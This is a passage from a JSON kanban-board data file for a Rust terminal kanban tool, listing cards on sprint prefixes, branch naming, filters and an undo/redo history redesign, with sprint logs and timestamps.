            "started_at": "2026-04-04T23:33:28.989229064Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Decide on AnimationType placement",
        "updated_at": "2026-04-04T23:44:57.238528205Z"
      },
      {
        "card_number": 187,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T20:56:32.601993Z",
        "description": "**File:** `crates/kanban-domain/src/filter/card_filters.rs:19-23`\n\n`date_from`, `date_to`, and `selected_tags` fields are declared in `CardFilters` and checked by `has_active_filters()`/`clear()`, but no `CardFilter` trait implementation reads them.\n\nOptions:\n1. Implement missing filters — create `DateRangeFilter` and `TagFilter`, wire into query pipeline\n2. Remove unused fields — avoid dead code, re-add when needed\n3. Keep as-is with TODO comment — if feature is planned for upcoming release",
        "due_date": null,
        "id": "30c2c570-dc96-4123-939d-04f7d8221ec9",
        "points": 2,
        "position": 48,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743095739Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166336Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989170021Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743096013Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989170273Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Wire up unused CardFilters fields",
        "updated_at": "2026-04-04T23:44:57.262822348Z"
      },
      {
        "card_number": 113,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-01T16:55:42.602259Z",
        "created_at": "2025-11-01T16:40:39.467827Z",
        "description": "self explanatory\n\ndon't add to the sprint log that a card has been assigned to a sprint if the assigned sprint is the same as the sprint the card is currently assigned to\n",
        "due_date": null,
        "id": "0724a872-1ab8-4f1a-91ba-061254e3a668",
        "points": 1,
        "position": 48,
        "priority": "Low",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": "2025-11-01T16:54:54.916414Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-01T16:53:29.794236Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-11-01T16:54:58.219259Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T16:54:54.916419Z",
            "status": "Active"
          },
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-01T16:54:58.219262Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "dont add to sprint log for a card if the same sprint is added",
        "updated_at": "2025-11-01T16:55:42.602259Z"
      },
      {
        "card_number": 105,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-02T13:47:50.491755Z",
        "created_at": "2025-10-30T09:50:19.618937Z",
        "description": "sprint prefix should be a sprint setting and not a board setting as in the case we lose our sprint prefix after changing it \n\nthe board level sprint prefix setting should be an override for the application level sprint prefix\n\n2025-11-01 17:59:34\n---\n\nwe move sprint prefix from branch settings into sprint level settings so that we can have a sprint prefix per sprint\n\nsprint prefix should be a sprint setting and not a board setting as in the case we lose our sprint prefix after changing it \n\nthe board level sprint prefix setting should be an override for the application level sprint prefix\n\nwe dont have application level prefix yet, we have board and sprint. which are both configured from board settings. I want to move sprint prefix into sprint settings so that it can be unique for each sprint\n\nfallback order for prefix\n\ndefault prefix\n\napplication prefix (doesnt exist)\n\nboard prefix\n\nsprint prefix (configuration to be moved now, both in interface and data)\n\n2025-11-01 22:23:04\n---\n\nI think I made a slight mistake during the design of this addition\n\nthese are all for use with branch names to specific cards. that we got right.\n\nHere are the overrides with example prefixes\n\n```sh\ndefault prefix (DEFAULT)\n\n|\nv\n\n_application settings prefix (APP)_ [future]\n\n|\nv\n\nboard settings sprint prefix (BRANCH)\n\n|\nv\n\nsprint settings prefix (SPRINT)\n```\n\nCreating sprints with just the default prefix yields sprints of\n\n```sh\nsprint-1/first \nsprint-2/second \nsprint-3/third \n```\n\nThen adding branch prefix transforms these into \n\n```sh\nBRANCH-1/first \nBRANCH-2/second \nBRANCH-3/third \n```\n\nThen assigning the first sprint a sprint prefix\n\n```sh\nSPRINT-1/first \nBRANCH-2/second \nBRANCH-3/third \n```\n\nThen creating four cards and assigning them to each sprint\n\n```sh\ntask1 (SPRINT-1/first)\ntask2 (BRANCH-2/second)\ntask3 (BRANCH-3/third)\ntask4 (SPRINT-1/first)\n```\n\nThey get the following branch names\n\n```sh\ngit checkout -b SPRINT-1/task1\ngit checkout -b BRANCH-2/task2\ngit checkout -b BRANCH-3/task3\ngit checkout -b SPRINT-4/task4\n```\n\nThe branch naming sequence isnt unique for each prefix!\n\nIt is a global sequence where as the sequence for the cards should be unique to each\n\nSo. To clarify. There is a couple of sequences going on here.\n\nWe have one sequence for each new sprint of the same prefix.\n\nWe have a seperate sequence for each new card that also uses the sprint prefix.\n\nThere is an unfortunate collision in that the sprint names use the same prefix as the cards.\n\nThis was not supposed to be the case. The sprint prefix we had from before this feature was supposed to give us a way to customize the sprint name for each sprint sequence. we moved this into the sprint level definition. This was good for the tasks. but bad for the sprint sequence. I think we have identified all the issues here above. Can we come up with a good plan for resolution?\n",
        "due_date": null,
        "id": "287bab16-a102-4f4b-9aa1-bed70d1f3fbf",
        "points": 1,
        "position": 49,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "we probably should move sprint prefix into sprint level settings",
        "updated_at": "2025-11-02T13:47:50.491755Z"
      },
      {
        "card_number": 188,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T20:56:32.653906Z",
        "description": "**File:** `crates/kanban-tui/src/components/generic_list.rs:5`\n\n`pub type ListRenderInfo = PageInfo;` is a single-use alias that adds indirection without meaningful semantic distinction. `PageInfo` is already self-descriptive. Remove the alias and use `PageInfo` directly.",
        "due_date": null,
        "id": "e6d5d851-b4f3-418c-adec-420f7e73a729",
        "points": 1,
        "position": 49,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743098523Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166340Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989102496Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743098805Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989102756Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Remove ListRenderInfo type alias",
        "updated_at": "2026-04-04T23:44:57.292780667Z"
      },
      {
        "card_number": 189,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-30T06:30:12.443076Z",
        "description": "TaskListView (Flat, GroupedByColumn, ColumnView) is a UI presentation concern currently persisted as a field on the Board domain model in the board JSON file. It should be moved to a separate TUI state store (e.g. XDG state dir ~/.local/state/kanban/ui_state.json) keyed by board_id. This keeps the domain data file free of UI concerns while still preserving per-board view preferences.",
        "due_date": null,
        "id": "dd9ab0ee-e10f-4ee1-9dc7-25c4b15ff3af",
        "points": 3,
        "position": 50,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743101276Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166364Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989209425Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743101547Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989209688Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Move TaskListView out of Board data file into TUI state store",
        "updated_at": "2026-04-04T23:44:57.321106638Z"
      },
      {
        "card_number": 102,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-02T13:51:19.607231Z",
        "created_at": "2025-10-30T09:42:11.986043Z",
        "description": "If no sprint prefix is set, it should fallback onto the boards branch prefix\n\nIf no branch prefix is set it should fallback to the default prefix\n\ncurrently hardcoded into sprint-1 (?)\n",
        "due_date": null,
        "id": "aa33d10c-6218-4641-a74a-7ac1c8dd0689",
        "points": 1,
        "position": 50,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "sprint and branch prefix fallbacks",
        "updated_at": "2025-11-02T13:51:19.607231Z"
      },
      {
        "card_number": 190,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-30T06:30:12.482048Z",
        "description": "BranchNameSearcher::get_branch_name() in crates/kanban-domain/src/search/mod.rs contains complex branch name generation logic (sprint prefix, title slug, card number formatting) that likely duplicates logic elsewhere in the codebase (Card or Board methods). Extract a shared implementation to avoid maintenance risk if the naming scheme changes.",
        "due_date": null,
        "id": "2e029a1a-d240-4e6c-9616-5a10d802aaef",
        "points": 2,
        "position": 51,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743104044Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166350Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989199370Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743104298Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989199625Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Deduplicate BranchNameSearcher branch name generation logic",
        "updated_at": "2026-04-04T23:44:57.349344803Z"
      },
      {
        "card_number": 117,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-02T16:55:43.788200Z",
        "created_at": "2025-11-02T16:05:34.907338Z",
        "description": "back at it again\n\ndoing the release flow\n",
        "due_date": null,
        "id": "893f6358-0ede-4ae4-bb32-54f049000220",
        "points": 2,
        "position": 51,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "workflows and releases",
        "updated_at": "2025-11-02T16:55:43.788200Z"
      },
      {
        "card_number": 109,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-02T16:55:47.218723Z",
        "created_at": "2025-10-31T18:31:12.437204Z",
        "description": "I would like to see a dialogue letting me choose which sprint to filter card list by\n",
        "due_date": null,
        "id": "1e2b5781-00be-4351-a35e-ec32b86cbb94",
        "points": 2,
        "position": 52,
        "priority": "Medium",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-01T09:30:06.155919Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "choose which sprint to filter by",
        "updated_at": "2025-11-02T16:55:47.218723Z"
      },
      {
        "card_number": 191,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-30T11:58:46.410607Z",
        "description": "Replace the current HistoryManager (which stores N full-state Snapshot clones) with a command-log replay system that stores 1 initial snapshot + N tiny command structs. Provides audit trail of all commands executed.\n\n## Background: UUID Non-Determinism\n\n**Problem**: Create commands (CreateCard, CreateBoard, CreateColumn, CreateSprint, CreateSubcardCommand) call Uuid::new_v4() inside entity constructors. Replaying these commands generates different UUIDs each time.\n\n**What breaks**: Subsequent commands store entity IDs as fields (e.g., MoveCard { card_id: AAA }). During replay, CreateCard generates BBB instead of AAA, so MoveCard references a non-existent entity.\n\n**Solution**: Pre-generate IDs at command construction time. Add an `id: Uuid` field to each create command. In execute(), override the constructor-generated ID: `entity.id = self.id`. All entity ID fields are pub, so this works without changing constructors.\n\n**Additional fix**: TuiContext::create_sprint() mutates the board (sprint counter increment, name list append) OUTSIDE the command. During replay, these mutations don't happen. Solution: move these side effects INTO CreateSprint::execute().\n\n## Commit Strategy — 4 atomic commits\n\n### Commit 1: Pre-generate IDs in create commands\n\n**Files:**\n- crates/kanban-domain/src/commands/board_commands.rs — add id: Uuid to CreateBoard\n- crates/kanban-domain/src/commands/card_commands.rs — add id: Uuid to CreateCard\n- crates/kanban-domain/src/commands/column_commands.rs — add id: Uuid to CreateColumn\n- crates/kanban-domain/src/commands/sprint_commands.rs — add id: Uuid to CreateSprint\n- crates/kanban-domain/src/commands/dependency_commands.rs — add id: Uuid to CreateSubcardCommand\n- crates/kanban-tui/src/tui_context.rs — all create methods pass id: Uuid::new_v4()\n\n### Commit 2: Move sprint side effects into CreateSprint command\n\n- crates/kanban-domain/src/commands/sprint_commands.rs — execute() does counter/name logic internally\n- crates/kanban-tui/src/tui_context.rs — create_sprint() simplifies to raw inputs\n\n### Commit 3: Rewrite HistoryManager to command-log replay\n\n**File:** crates/kanban-domain/src/history.rs\n\nReplace VecDeque undo/redo stacks with: initial_state (1 clone), command_log (tiny structs), cursor (position).\nNew API: set_initial_state(), record_batch(), undo(), redo(), can_undo(), can_redo(), command_descriptions()\nRemoved: suppress/unsuppress, capture_before_command, pop_undo/pop_redo, push_undo/push_redo\n\n### Commit 4: Wire up new history in TuiContext, StateManager, and App\n\n- crates/kanban-tui/src/tui_context.rs — execute via &commands then move to record_batch()\n- crates/kanban-tui/src/state/mod.rs — remove old history methods, add set_initial_state()\n- crates/kanban-tui/src/app.rs — simplify undo/redo, remove suppress/unsuppress\n\n## Future: Persist command log to disk\n\nInitial implementation keeps command log in memory only (resets on app restart). Follow-up work to add disk persistence:\n\n- Serialize command log into kanban.json save file\n- Replace Box<dyn Command> with CommandKind enum wrapping all ~28 types, derive Serialize/Deserialize\n- Add command_log and command_cursor fields to persistence format\n- Handle forward compatibility (version tagging for command struct changes)\n- On load, deserialize and restore command log + cursor position\n\n## Verification\n\ncargo check --workspace && cargo test --workspace && cargo clippy --all-targets",
        "due_date": null,
        "id": "2abaee6d-d79a-41ac-9acc-37208add9e0a",
        "points": 5,
        "position": 52,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743106823Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166331Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989135438Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743107080Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989135730Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Replace snapshot-based undo/redo with command-replay history system",
        "updated_at": "2026-04-04T23:44:57.379597781Z"
      },
      {
        "card_number": 192,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-01T06:51:58.134887Z",
        "description": "When creating a board, columns are created correctly. However, undoing the board creation and then redoing it causes the columns to disappear.\n\n## Root Cause\n\nHandlers that execute multiple commands for a single user action create multiple undo entries. `execute_command()` and `execute_commands_batch()` each capture a before-snapshot and push to the undo stack. Calling them multiple times = multiple undo entries for one logical operation.\n\nBoard creation fires two separate command batches — `execute_command(CreateBoard)` then `execute_commands_batch([CreateColumn×3])` — resulting in two undo stack entries for what the user perceives as one action. On redo, the first entry restores the board without columns.\n\n## Affected Handlers (4 total)\n\n### Needs command group API (intermediate ID dependency)\n\n1. **`board_handlers.rs:create_board()`** (lines 77, 103)\n   - `execute_command(CreateBoard)` then `execute_commands_batch([CreateColumn x3])`\n   - Needs `board_id` from CreateBoard to build CreateColumn commands\n\n2. **`card_handlers.rs:create_card()`** (lines 349, 371)\n   - `execute_command(CreateCard)` then `execute_command(UpdateCard)` when auto-complete\n   - Needs `card_id` from CreateCard for UpdateCard\n\n### Simple batch merge (all IDs known upfront)\n\n3. **`column_handlers.rs:delete_column()`** (lines 358, 368)\n   - `execute_commands_batch(move_commands)` then `execute_command(DeleteColumn)`\n   - Fix: append DeleteColumn to move_commands vec, single batch call\n\n4. **`detail_view_handlers.rs` MoveColumn action** (lines 794, 808)\n   - `execute_command(MoveCard)` then `execute_command(UpdateCard)`\n   - Fix: build vec with both commands, single `execute_commands_batch` call\n\n## Implementation\n\n### Step 1: Add command group API to TuiContext\n\n**File:** `crates/kanban-tui/src/tui_context.rs`\n\nAdd `pending_group_snapshot: Option<Snapshot>` field to `TuiContext`.\n\nAdd four methods:\n- `begin_command_group()` — clone current state into `pending_group_snapshot`\n- `execute_grouped_command()` — call `state_manager.execute_with_context()` directly (no snapshot capture)\n- `commit_command_group()` — pass stored before-snapshot to `state_manager.capture_before_command()`, then `queue_snapshot()` with current state\n- `rollback_command_group()` — restore fields from stored snapshot, clear `pending_group_snapshot`\n\n### Step 2: Add App-level delegation\n\n**File:** `crates/kanban-tui/src/app.rs`\n\nAdd matching methods on `App` that delegate to `self.ctx`.\n\n### Step 3: Fix create_board handler\n\n**File:** `crates/kanban-tui/src/handlers/board_handlers.rs`\n\nReplace the two separate calls with command group pattern:\n```\nbegin_command_group()\nexecute_grouped_command(CreateBoard)\n// read board_id from self.ctx.boards.last()\nexecute_grouped_command(CreateColumn) x3\ncommit_command_group()\n```\n\n### Step 4: Fix create_card handler (auto-complete path)\n\n**File:** `crates/kanban-tui/src/handlers/card_handlers.rs`\n\nWhen `mark_as_complete` is true, wrap in command group. When not auto-completing, keep single `execute_command()`.\n\n### Step 5: Fix delete_column handler (simple merge)\n\n**File:** `crates/kanban-tui/src/handlers/column_handlers.rs`\n\nAppend `DeleteColumn` to the `move_commands` vec. Single `execute_commands_batch()` call.\n\n### Step 6: Fix detail_view MoveColumn handler (simple merge)\n\n**File:** `crates/kanban-tui/src/handlers/detail_view_handlers.rs`\n\nBuild a commands vec with MoveCard and conditionally UpdateCard. Single `execute_commands_batch()` call.\n\n### Step 7: Tests\n\n- Test that command group creates exactly 1 undo entry for multiple commands\n- Test that undo after command group restores complete pre-group state\n- Test that redo after undo restores complete post-group state\n- Test rollback restores pre-group state and creates no undo entry\n\n## Files Modified\n\n| File | Change |\n|------|--------|\n| `crates/kanban-tui/src/tui_context.rs` | Add `pending_group_snapshot` field + 4 methods |\n| `crates/kanban-tui/src/app.rs` | Add 4 delegation methods |\n| `crates/kanban-tui/src/handlers/board_handlers.rs` | Rewrite `create_board()` with command group |\n| `crates/kanban-tui/src/handlers/card_handlers.rs` | Wrap auto-complete path in command group |\n| `crates/kanban-tui/src/handlers/column_handlers.rs` | Merge delete_column commands into single batch |\n| `crates/kanban-tui/src/handlers/detail_view_handlers.rs` | Merge MoveColumn commands into single batch |\n\n## Architecture Notes\n\n- **No domain layer changes** — HistoryManager already has correct primitives\n- **No core crate changes** — no new traits needed\n- Command group API lives in TUI layer (TuiContext) where orchestration belongs\n- `execute_commands_batch` remains unchanged — command group is an alternative for when intermediate state is needed between commands",
        "due_date": null,
        "id": "42e31c50-77c9-43a0-98fb-5a1aa9012b49",
        "points": 3,
        "position": 53,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743109581Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166359Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989125062Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743109863Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989125319Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Board creation undo/redo loses columns due to split undo entries",
        "updated_at": "2026-04-04T23:44:57.408983492Z"
      },
      {
        "card_number": 87,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-02T17:00:33.469911Z",
        "created_at": "2025-10-23T17:59:05.492972Z",
        "description": "I think we do a select of the viewable sprint\n\neither in the main task list or the board details sprint list.\n\nare able to select the sprint which is viewed in the main task list\n",
        "due_date": null,
        "id": "ee315eb4-29f6-4ee7-bb13-e1a71f24bc51",
        "points": 3,
        "position": 53,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "be able to select another sprint for viewing in the task list",
        "updated_at": "2025-11-02T17:00:33.469911Z"
      },
      {
        "card_number": 195,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-01T14:21:27.068480Z",
        "description": "## Context\n\nDuring the Sprint::assignable refactor (KAN-194 follow-up), we identified a design gap: domain business rules like \"only Planning/Active sprints are assignable\" are encoded as functions in kanban-domain (e.g. Sprint::assignable), but nothing prevents consumers (TUI, CLI, MCP, future API) from bypassing them by accessing raw data directly.\n\nThis is exactly how the original sprint index mismatch bug happened — the UI filtered sprints for display but handlers accessed the unfiltered list.\n\n## Current State\n\n- KanbanOperations trait handles data access (CRUD) — enforced on all consumers\n- Domain logic lives as pure functions on types (Sprint::assignable) — shared but not enforced\n- TuiContext/CliContext fields like sprints: Vec<Sprint> are pub, so consumers can hand-roll their own filters\n\n## Research Needed\n\nInvestigate making domain data private on context types and only exposing it through methods that enforce business rules. Questions to answer:\n\n- Which fields/operations have business rules that consumers must conform to?\n- What would the API surface look like if fields were private?\n- How much of the codebase directly accesses ctx.sprints, ctx.cards, etc. vs going through methods?\n- What is the ripple effect of making these fields private?\n- Is there a middle ground (e.g. private for writes, pub for reads)?\n\n## Goal\n\nEnsure all consumers (TUI, CLI, MCP, future API) cannot accidentally bypass domain business rules, without over-engineering the abstraction layer.",
        "due_date": null,
        "id": "9d7692f1-f66f-46a1-a6b6-8132a92a8f3e",
        "points": 2,
        "position": 54,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743114377Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166313Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989092190Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743114641Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989092447Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Research enforcing domain business rules via private accessors",
        "updated_at": "2026-04-04T23:44:57.435397905Z"
      },
      {
        "card_number": 48,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-02T17:01:00.933338Z",
        "created_at": "2025-10-14T20:50:11.268754Z",
        "description": "I would like the sprint branch names (e.g. `MVP-27`) to have their own sequence and if two sprints have the same prefix the should follow each others sequence\n",
        "due_date": null,
        "id": "36847d94-e522-49b2-9794-685d38fc2544",
        "points": 2,
        "position": 54,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "make sprint names their own sequence",
        "updated_at": "2025-11-02T17:01:00.933338Z"
      },
      {
        "card_number": 108,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-02T17:06:45.517005Z",
        "created_at": "2025-10-31T18:21:23.549744Z",
        "description": "when a moving a card from one sprint to another. \nfor example when a sprint has ended and a new one is started.\nThe cards left in the ended sprint that moves to the new one should keep history of the sprint(s) it has seen.\n\nalso with this ticket lets make the logging abstraction so that we can use that for keeping changes of whatever entity property changes\n",
        "due_date": null,
        "id": "4cc69125-bb51-449a-a00f-dc0a1322d1ad",
        "points": 3,
        "position": 55,
        "priority": "Medium",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-01T09:30:06.155919Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "keep a log of sprints for a card",
        "updated_at": "2025-11-02T17:06:45.517005Z"
      },
      {
        "card_number": 198,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-01T19:42:14.588123Z",
        "description": "We currently show what sprint a card is assigned to as a greyed out text at the end of the card title.\n\nWe could show the card prefix / number aswell.\n\nMaybe on the front? bold letters?\n",
        "due_date": null,
        "id": "73cda89a-5c99-4a7d-b9fb-d8af30d3a9b5",
        "points": 2,
        "position": 55,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856460944Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "In the card list, show the card number / prefix",
        "updated_at": "2026-04-04T23:44:57.458385649Z"
      },
      {
        "card_number": 33,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-02T20:16:29.373786Z",
        "created_at": "2025-10-12T13:35:39.923005Z",
        "description": "in different contexts it would be beneficial to press `?` to see a dialog detailing the different commands possible\n",
        "due_date": null,
        "id": "8e3a543e-86b0-405f-994e-515e013990b7",
        "points": 3,
        "position": 56,
        "priority": "High",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448948Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155912Z",
            "status": "Active"
          },
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448948Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "add ? binding",
        "updated_at": "2025-11-02T20:16:29.373786Z"
      },
      {
        "card_number": 199,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-02T17:51:23.260577Z",
